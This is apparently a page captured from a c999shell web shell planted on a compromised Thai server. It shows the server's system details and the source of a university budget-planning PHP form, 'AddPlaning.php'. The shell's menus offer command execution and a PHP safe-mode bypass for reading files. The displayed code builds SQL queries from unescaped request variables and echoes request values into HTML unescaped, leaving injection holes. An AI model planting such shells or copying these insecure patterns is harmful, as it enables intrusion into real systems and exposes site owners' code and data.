Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage/plan/ drwxr-xr-x |
Viewing file: AddPlaning.php (23.05 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | <?php session_start(); /** Define Validate Access */ define( '_VALID_ACCESS', 1 ); /** Check Session User Login */ if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) { echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />"; echo "<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>"; echo "<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />"; exit(); } else { /** Configuration */ require_once( "../configuration.php" ); require_once( $_Config_absolute_path . "/includes/framework.php" ); require_once( "../include/Function.php" ); /** Create Database Object */ $dbObj = new DBConn; $Username = $valid_user; /** Config Table for This Page */ $myTable = "project_plan"; $myTable2 = "faculty_tb"; $myTable3 = "project_mission"; //=== salary_repot_tb $query = " SELECT * FROM $myTable3 WHERE Budget_Year='$Budget_Year' "; $result = $dbObj->execQuery($query); $rs1 = $dbObj->fetchArray($result); } # else ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=windows-874" /> <meta http-equiv="pragma" content="no-cache" /> <link href="../css/default.css" rel="stylesheet" type="text/css" /> <script language="javascript" src="../js/utilities.js"></script> <script type="text/javascript" src="../js/ajaxScript.js"></script> <script type="text/javascript" src="../js/calendarDateInput2.js"></script> <script language="javascript"> function checkData() { var formObj = document.myForm; if( (formObj.Orderlist.value == "" ) && (formObj.Project_plan.value == "" ) ) { alert("กรุณากรอกข้อมูลให้ครบด้วยค่ะ" ); formObj.Orderlist.style.backgroundColor='#F1F9FC'; formObj.Orderlist.focus(); return false; } else if(formObj.Orderlist.value == "" ) { alert("กรุณากรอก รหัสแผน"); formObj.Orderlist.style.backgroundColor='#F1F9FC'; formObj.Orderlist.focus(); return false;} else if(formObj.Project_plan.value == "" ) { alert("กรุณากรอก รายละเอียดแผนงาน/โครงการ (ย่อย)"); formObj.Project_plan.style.backgroundColor='#F1F9FC'; formObj.Project_plan.focus(); return false;} else return true ; } </script> <title>ข้อมูลแผนดำเนินงานและรายงาน : ข้อมูลแผนดำเนินการ รายปีงบประมาณ - เพิ่มข้อมูลแผน/โครงการรดำเนินงาน (ย่อย)</title> </head> <body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0"> <?php include("../templates/incHeader.php"); ?> <table width="1003" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="203" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php include("./_incMainMenu.php");?></td> <td width="800" align="center" valign="top" style="padding:10px 0px 5px 10px"><fieldset> <form id="myForm" name="myForm" method="post" action="InsertMission.php" onSubmit="return checkData();"> <table width="780" border="0" cellspacing="0" cellpadding="0"> <tr> <td height="5"></td> </tr> <tr> <td height="30" background="../images/background/bg-head-topic-w780.gif" class="PADDING-LEFT-10"><strong><a href="index.php">หน้าหลัก</a></strong> <strong>»<span class="NOTE">เพิ่มข้อมูลโครงการ/กิจกรรม </span></strong></td> </tr> <tr> <td> <table width="99%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td width="50%" class="PADDING-TOP-10 PADDING-BOTTOM-10"><img src="../images/icons/arrow-circle-225-left.png" width="16" height="16" border="0" align="absmiddle" /> <a href="javascript:;" onclick="window.history.back();"><strong>‹ ย้อนกลับ</strong></a></td> <td width="50%" align="right" valign="bottom" class="PADDING-TOP-10 PADDING-BOTTOM-5"><span class="TEXT-ORANGE9"> </span></td> </tr> </table></td> </tr> <tr> <td height="350" align="center" valign="top"><table width="99%" border="0" align="center" cellpadding="0" cellspacing="3" bgcolor="#F8F8F8" style="border:1px solid #F0F0F0"> <tr> <td colspan="3" height="5" bgcolor="#FFFFFF"></td> </tr> <tr> <td width="17%" height="25" align="right" bgcolor="#FFFFFF">รหัสหน่วยงาน</td> <td width="1%" bgcolor="#FFFFFF"> </td> <td width="82%" bgcolor="#FFFFFF"><select name="Faculty_code" id="Faculty_code" onchange="getOrderListID()"> <?php $strSQL = " SELECT * FROM $myTable2 Where FacultyStatus ='Y' "; $result1 = $dbObj->execQuery($strSQL); while( $rs1 = $dbObj->fetchArray($result1) ) { ?> <option value="<?=$rs1['Faculty_code'];?>" <?=(isset($_REQUEST['Faculty_code']) && $_REQUEST['Faculty_code'] == $rs1['Faculty_code'])?"selected":"";?>><?=$rs1['Faculty_name'];?></option> <?php } # while ?> </select></td> </tr> <tr> <td height="25" align="right" bgcolor="#FFFFFF">แผนปฏิบัติตามพัธกิจ</a></td> <td bgcolor="#FFFFFF"> </td> <td bgcolor="#FFFFFF"><select name="subId" id="subId"> <?php $strSQL = " SELECT * FROM project_submission ps, project_mission pm Where pm.Budget_Year='$Budget_Year' and pm.missId=ps.missId "; $result4 = $dbObj->execQuery($strSQL); while( $rs4 = $dbObj->fetchArray($result4) ) { ?> <option value="<?=$rs4['subId'];?>" > <?=$rs4['sub_Orderlist'];?> :: <?=$rs4['submission_plan'];?> ( <?=$rs4['Budget_Year'];?> ) </option> <?php } # while ?> </select></td> </tr> <tr> <td height="25" align="right" bgcolor="#FFFFFF"><span class="TEXT-RED10"><sup>*</sup></span> ปีงบประมาณ</td> <td bgcolor="#FFFFFF"> </td> <td bgcolor="#FFFFFF"><select name="Budget_Year" id="Budget_Year"> <?php $curr_year = date("Y")+543; $prev_year = $curr_year-2; $next_year = $curr_year+3; for( $i=$prev_year; $i<=$next_year; $i++ ) { ?> <option value="<?=$i;?>" <?php if( $i==$curr_year ) echo 'selected'; elseif( $i==$Budget_Year ) echo 'selected'; ?>> <?=$i;?> </option> <?php } # for ?> </select></td> </tr> <tr> <td height="25" align="right" bgcolor="#FFFFFF"><span class="TEXT-RED10"><sup>*</sup></span> ปีการศึกษา</td> <td bgcolor="#FFFFFF"> </td> <td bgcolor="#FFFFFF"><select name="AcademicYear" id="AcademicYear"> <?php $curr_year = date("Y")+543; $prev_year = $curr_year-2; $next_year = $curr_year+3; for( $i=$prev_year; $i<=$next_year; $i++ ) { ?> <option value="<?=$i;?>" <?php if( $i==$curr_year ) echo 'selected'; elseif( $i==$curr_year ) echo 'selected'; ?>> <?=$i;?> </option> <?php } # for ?> </select></td> </tr> <tr> <td height="25" align="right" bgcolor="#FFFFFF"><span class="TEXT-RED10"><sup>*</sup></span> รหัสแผน</td> <td bgcolor="#FFFFFF"> </td> <td valign="baseline" bgcolor="#FFFFFF"> <span id="order"><input name="Orderlist" type="text" id="Orderlist" value="<?php echo $rs['Orderlist']; ?>" size="8" readonly></span> <img src="../images/icons/magnifier--arrow.png" alt="สร้างรหัสแผน" title="คลิ๊กที่นี่เพื่อสร้างรหัสแผน" style="cursor:pointer" onclick="getOrderListID()"/> </td> </tr> <tr> <td align="right" valign="top" bgcolor="#FFFFFF">ลักษณะของแผน</td> <td bgcolor="#FFFFFF"> </td> <td bgcolor="#FFFFFF"><input name="codeId" type="radio" value="1" /> กลยุทธ์์ <input name="codeId" type="radio" value="2" /> แผนงานประจำ</td> </tr> <tr> <td colspan="3" align="left" valign="top" bgcolor="#FFFFFF" > รายละเอียดแผนงาน : <input name="plId" type="radio" value="1"/> โครงการ /<input name="plId" type="radio" value="2"/>กิจกรรม</td> </tr> <tr> <td align="right" valign="top" bgcolor="#FFFFFF" style="padding-top:3px;"> </td> <td bgcolor="#FFFFFF"> </td> <td bgcolor="#FFFFFF" style="padding-top:5px;"><textarea name="Project_plan" cols="75" rows="3" class="input" id="Project_plan" ></textarea> <script>QBPATH='../editor'; VISUAL=1; SECURE=0;</script> <script src='../editor/quickB.js'></script> <script src='../editor/tabedit.js'></script> </td> </tr> <tr> <td align="right" valign="top" bgcolor="#FFFFFF" style="padding-top:3px;">วัตถุประสงค์</td> <td bgcolor="#FFFFFF"> </td> <td bgcolor="#FFFFFF" style="padding-top:5px;"> </td> </tr> <tr> <td align="right" valign="top" bgcolor="#FFFFFF" style="padding-top:3px;"> </td> <td bgcolor="#FFFFFF"> </td> <td bgcolor="#FFFFFF" style="padding-top:5px;"><textarea name="Objective" cols="75" rows="4" class="input" id="Objective" ><?php echo htmlspecialchars_decode( nl2br( $rs['Orderlist_2'] ) ); ?></textarea> <script>QBPATH='../editor'; VISUAL=1; SECURE=0;</script> <script src='../editor/quickB.js'></script> <script src='../editor/tabedit.js'></script> </td> </tr> <tr> <td align="right" valign="top" bgcolor="#FFFFFF" style="padding-top:3px;">ตัวชี้วัดความสำเร็จ</td> <td bgcolor="#FFFFFF"> </td> <td bgcolor="#FFFFFF" style="padding-top:5px;"> </td> </tr> <tr> <td align="right" valign="top" bgcolor="#FFFFFF" style="padding-top:3px;"> </td> <td bgcolor="#FFFFFF"> </td> <td bgcolor="#FFFFFF" style="padding-top:5px;"><textarea name="Indsuccess" cols="75" rows="4" class="input" id="Indicators of success" ><?php echo htmlspecialchars_decode( nl2br( $rs['Project_name'] ) ); ?></textarea> <script>QBPATH='../editor'; VISUAL=1; SECURE=0;</script> <script src='../editor/quickB.js'></script> <script src='../editor/tabedit.js'></script> </td> </tr> <tr> <td align="right" valign="top" bgcolor="#FFFFFF" style="padding-top:3px;">วิธีการดำเนินงาน</td> <td bgcolor="#FFFFFF"> </td> <td bgcolor="#FFFFFF" style="padding-top:5px;"> </td> </tr> <tr> <td align="right" valign="top" bgcolor="#FFFFFF" style="padding-top:3px;"> </td> <td bgcolor="#FFFFFF"> </td> <td bgcolor="#FFFFFF" style="padding-top:5px;"><textarea name="Operation" cols="75" rows="4" class="input" id="Operation" ><?php echo htmlspecialchars_decode( nl2br( $rs['Project_rep'] ) ); ?></textarea> <script>QBPATH='../editor'; VISUAL=1; SECURE=0;</script> <script src='../editor/quickB.js'></script> <script src='../editor/tabedit.js'></script> </td> </tr> <tr> <td align="right" valign="top" bgcolor="#FFFFFF" style="padding-top:3px;">กลุ่มเป้าหมาย</td> <td bgcolor="#FFFFFF"> </td> <td bgcolor="#FFFFFF" style="padding-top:5px;"> </td> </tr> <tr> <td align="right" valign="top" bgcolor="#FFFFFF" style="padding-top:3px;"> </td> <td bgcolor="#FFFFFF"> </td> <td bgcolor="#FFFFFF" style="padding-top:5px;"><textarea name="TargetGroup" cols="75" rows="4" class="input" id="TargetGroup" ></textarea> <script>QBPATH='../editor'; VISUAL=1; SECURE=0;</script> <script src='../editor/quickB.js'></script> <script src='../editor/tabedit.js'></script> </td> </tr> <tr> <td align="right" valign="top" bgcolor="#FFFFFF" style="padding-top:3px;">ผลที่คาดว่าจะได้รับ</td> <td bgcolor="#FFFFFF"> </td> <td bgcolor="#FFFFFF" style="padding-top:5px;"> </td> </tr> <tr> <td align="right" valign="top" bgcolor="#FFFFFF" style="padding-top:3px;"> </td> <td bgcolor="#FFFFFF"> </td> <td bgcolor="#FFFFFF" style="padding-top:5px;"><textarea name="resuExpected" cols="75" rows="4" class="input" id="resuExpected" ><?php echo htmlspecialchars_decode( nl2br( $rs['Period_1'] ) ); ?></textarea> <script>QBPATH='../editor'; VISUAL=1; SECURE=0;</script> <script src='../editor/quickB.js'></script> <script src='../editor/tabedit.js'></script></td> </tr> <tr> <td align="right" bgcolor="#FFFFFF" style="padding-top:10px;"> </td> <td align="center" bgcolor="#FFFFFF"> </td> <td height="25" align="left" bgcolor="#FFFFFF" > </td> </tr> <tr> <td align="right" bgcolor="#FFFFFF" style="padding-top:10px;">ผู้รับผิดชอบ</td> <td align="center" bgcolor="#FFFFFF"> </td> <td height="25" align="left" bgcolor="#FFFFFF" ><select name="Teacher_code" id="Teacher_code"> <?php $strSQL = " SELECT * FROM personal_tb WHERE StatusId='1' AND ( Teacher_type='1' OR Teacher_type='2' OR Teacher_type='4' OR Teacher_type='5' OR Teacher_type='6' ) ORDER BY Teacher_name ASC "; $result2 = $dbObj->execQuery($strSQL); while( $rs2 = $dbObj->fetchArray($result2) ) { ?> <option value="<?=$rs2['Teacher_code'];?>" > <?=$rs2['Teacher_name'];?> <?=$rs2['Teacher_lastname'];?> </option> <?php } # while ?> </select></td> </tr> <tr> <td align="right" bgcolor="#FFFFFF"><span style="padding-top:10px;">ผู้กำกับติดตาม</span></td> <td align="center" bgcolor="#FFFFFF"> </td> <td height="25" align="left" bgcolor="#FFFFFF"><select name="Teacher_code1" id="Teacher_code1"> <?php $strSQL = " SELECT * FROM personal_tb WHERE StatusId='1' AND ( Teacher_type='1' OR Teacher_type='2' OR Teacher_type='4' OR Teacher_type='5' OR Teacher_type='6' ) ORDER BY Teacher_name ASC "; $result2 = $dbObj->execQuery($strSQL); while( $rs2 = $dbObj->fetchArray($result2) ) { ?> <option value="<?=$rs2['Teacher_code'];?>" > <?=$rs2['Teacher_name'];?> <?=$rs2['Teacher_lastname'];?> </option> <?php } # while ?> </select></td> </tr> <tr> <td align="right" bgcolor="#FFFFFF"> </td> <td align="center" bgcolor="#FFFFFF"> </td> <td height="18" align="left" bgcolor="#FFFFFF"> </td> </tr> <tr> <td align="right" bgcolor="#FFFFFF">หมายเหตุ</td> <td align="center" bgcolor="#FFFFFF"> </td> <td height="18" align="left" bgcolor="#FFFFFF">ต้องกำหนดวันที่เริ่มต้นและวันที่สิ้นสุดของโครงการ/กิจกรรมโปรแกรมจะคำนวณปีงบประมาณและปีการศึกษาให้</td> </tr> <tr> <td align="right" bgcolor="#FFFFFF">วันที่เริ่มต้น</td> <td align="center" bgcolor="#FFFFFF"> </td> <td height="25" align="left" bgcolor="#FFFFFF"> <script>DateInput('mDate', true,'DD/MM/YYYY','<?=date("d/m/Y");?>');</script> </td> </tr> <tr> <td align="right" bgcolor="#FFFFFF">วันที่สิ้นสุด</td> <td align="center" bgcolor="#FFFFFF"> </td> <td height="25" align="left" bgcolor="#FFFFFF"> <script>DateInput('mDate1', true,'DD/MM/YYYY','<?=date("d/m/Y");?>');</script> </td> </tr> <tr> <td height="25" colspan="3" align="left" bgcolor="#FFFFFF" style="padding-top:13px"> <a>จำนวนเงินงบประมาณตั้งตามไตรมาส </a> </tr> <tr> <td align="right" valign="top" bgcolor="#FFFFFF" style="padding-top:13px"> </td> <td align="center" bgcolor="#FFFFFF"> </td> <td height="25" align="left" valign="top" bgcolor="#FFFFFF" style="padding-top:8px"><table width="91%" border="0" cellpadding="1" cellspacing="2" bgcolor="#F8F8F8"> <tr bgcolor="#F8F8F8"> <td width="13%" align="right" bgcolor="#FFFFFF">มกราคม </td> <td width="31%" align="left" bgcolor="#FFFFFF"><input name="January" type="text" id="January" style="text-align:center" size="10" maxlength="10" onkeypress="return checkNumeric();" /> ไตรมาส ๒</td> <td width="11%" align="right" bgcolor="#FFFFFF">กรฏาคม</td> <td width="45%" align="left" bgcolor="#FFFFFF"><input name="July" type="text" id="July" style="text-align:center" size="10" maxlength="10" onkeypress="return checkNumeric();" /> ไตรมาส ๔</td> </tr> <tr bgcolor="#F8F8F8"> <td align="right" bgcolor="#FFFFFF">กุมภาพันธ์ </td> <td align="left" bgcolor="#FFFFFF"><input name="February" type="text" id="February" style="text-align:center" size="10" maxlength="10" onkeypress="return checkNumeric();" /> ไตรมาส ๒</td> <td align="right" bgcolor="#FFFFFF">สิงหาคม</td> <td align="left" bgcolor="#FFFFFF"><input name="Augus" type="text" id="Augus" style="text-align:center" size="10" maxlength="10" onkeypress="return checkNumeric();" /> ไตรมาส ๔</td> </tr> <tr bgcolor="#F8F8F8"> <td align="right" bgcolor="#FFFFFF">มีนาคม</td> <td align="left" bgcolor="#FFFFFF"><input name="March" type="text" id="March" style="text-align:center" size="10" maxlength="10" onkeypress="return checkNumeric();" /> ไตรมาส ๒</td> <td align="right" bgcolor="#FFFFFF">กันยายน</td> <td align="left" bgcolor="#FFFFFF"><input name="September" type="text" id="September" style="text-align:center" size="10" maxlength="10" onkeypress="return checkNumeric();" /> ไตรมาส ๔</td> </tr> <tr bgcolor="#F8F8F8"> <td align="right" bgcolor="#FFFFFF">เมษายน</td> <td align="left" bgcolor="#FFFFFF"><input name="April" type="text" id="April" style="text-align:center" size="10" maxlength="10" onkeypress="return checkNumeric();" /> ไตรมาส ๓</td> <td align="right" bgcolor="#FFFFFF">ตุลาคม</td> <td align="left" bgcolor="#FFFFFF"><input name="October" type="text" id="October" style="text-align:center" size="10" maxlength="10" onkeypress="return checkNumeric();" /> ไตรมาส ๑</td> </tr> <tr bgcolor="#F8F8F8"> <td align="right" bgcolor="#FFFFFF">พฤษภาคม</td> <td align="left" bgcolor="#FFFFFF"><input name="May" type="text" id="May" style="text-align:center" size="10" maxlength="10" onkeypress="return checkNumeric();" /> ไตรมาส ๓</td> <td align="right" bgcolor="#FFFFFF">พฤศจิกายน</td> <td align="left" bgcolor="#FFFFFF"><input name="November" type="text" id="November" style="text-align:center" size="10" maxlength="10" onkeypress="return checkNumeric();" /> ไตรมาส ๑</td> </tr> <tr bgcolor="#F8F8F8"> <td align="right" bgcolor="#FFFFFF">มิถุนายน</td> <td align="left" bgcolor="#FFFFFF"><input name="June" type="text" id="June" style="text-align:center" size="10" maxlength="10" onkeypress="return checkNumeric();" /> ไตรมาส ๓</td> <td align="right" bgcolor="#FFFFFF">ธันวาคม</td> <td align="left" bgcolor="#FFFFFF"><input name="December" type="text" id="December" style="text-align:center" size="10" maxlength="10" onkeypress="return checkNumeric();" /> ไตรมาส ๑</td> </tr> </table></td> </tr> <tr> <td align="center" bgcolor="#FFFFFF"> </td> <td align="center" bgcolor="#FFFFFF"> </td> <td height="16" align="left" bgcolor="#FFFFFF">หมายเหตุ * ห้ามใส่ , ในช่องกรอกเงิน</td> </tr> <tr> <td align="right" bgcolor="#FFFFFF">หมวดเงิน</td> <td align="center" bgcolor="#FFFFFF"> </td> <td height="25" align="left" bgcolor="#FFFFFF"><select name="MoneyS_C" id="MoneyS_C"> <?php $strSQL5 = " SELECT * FROM money_source_tb "; $result5= $dbObj->execQuery($strSQL5); while( $rs5 = $dbObj->fetchArray($result5) ) { echo "<option value=\"$rs5[MoneyS_C]\">$rs5[MoneyS_M]</option>\n"; } ?> </select></td> </tr> <tr> <td align="center">ประเภทหมวดค่าใช้จ่าย</td> <td align="center"> </td> <td height="25" align="left"><select name="MoneyId" id="MoneyId"> <?php $strSQL5 = " SELECT * FROM money_tb "; $result5 = $dbObj->execQuery($strSQL5); while( $rs5 = $dbObj->fetchArray($result5) ) { echo "<option value=\"$rs5[MoneyId]\" ><b>$rs5[MoneyName]</b></option>\n"; } ?> </select></td> </tr> <tr> <td height="16" align="center" bgcolor="#FFFFFF"> </td> <td height="16" align="center" bgcolor="#FFFFFF"> </td> <td height="16" align="left" bgcolor="#FFFFFF"> </td> </tr> <tr> <td height="29" align="center" bgcolor="#FFFFFF"> </td> <td height="29" align="center" bgcolor="#FFFFFF"> </td> <td height="29" align="center" bgcolor="#FFFFFF"><input type="hidden" name="Project_code" value="<?=$Project_code;?>" /> <input name="budgetYear" type="hidden" id="budgetYear" value="<?=$_REQUEST['Budget_Year'];?>" /> <span id="AddPlanSubmitBtn"><input name="Submit" type="submit" class="WIDTH60 CURSOR-HAND" value="บันทึก" disabled/></span> <input name="Reset" type="reset" class="WIDTH60 CURSOR-HAND" value="รีเซ็ต" /> <input name="Button" type="button" value="ยกเลิก" class="WIDTH60 CURSOR-HAND" onclick="location.href='PlaningByYear.php'" /></td> </tr> </table> </td> </tr> <tr> <td> </td> </tr> </table> </form> </fieldset></td> </tr> </table> <?php include("../templates/incFooter.php"); ?> </body> </html> <?php /** Free Resource */ $dbObj->freeresult($result); /** Close the Database */ $dbObj->disconn(); /** Unset Class */ unset($dbObj); ?> |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0067 ]-- |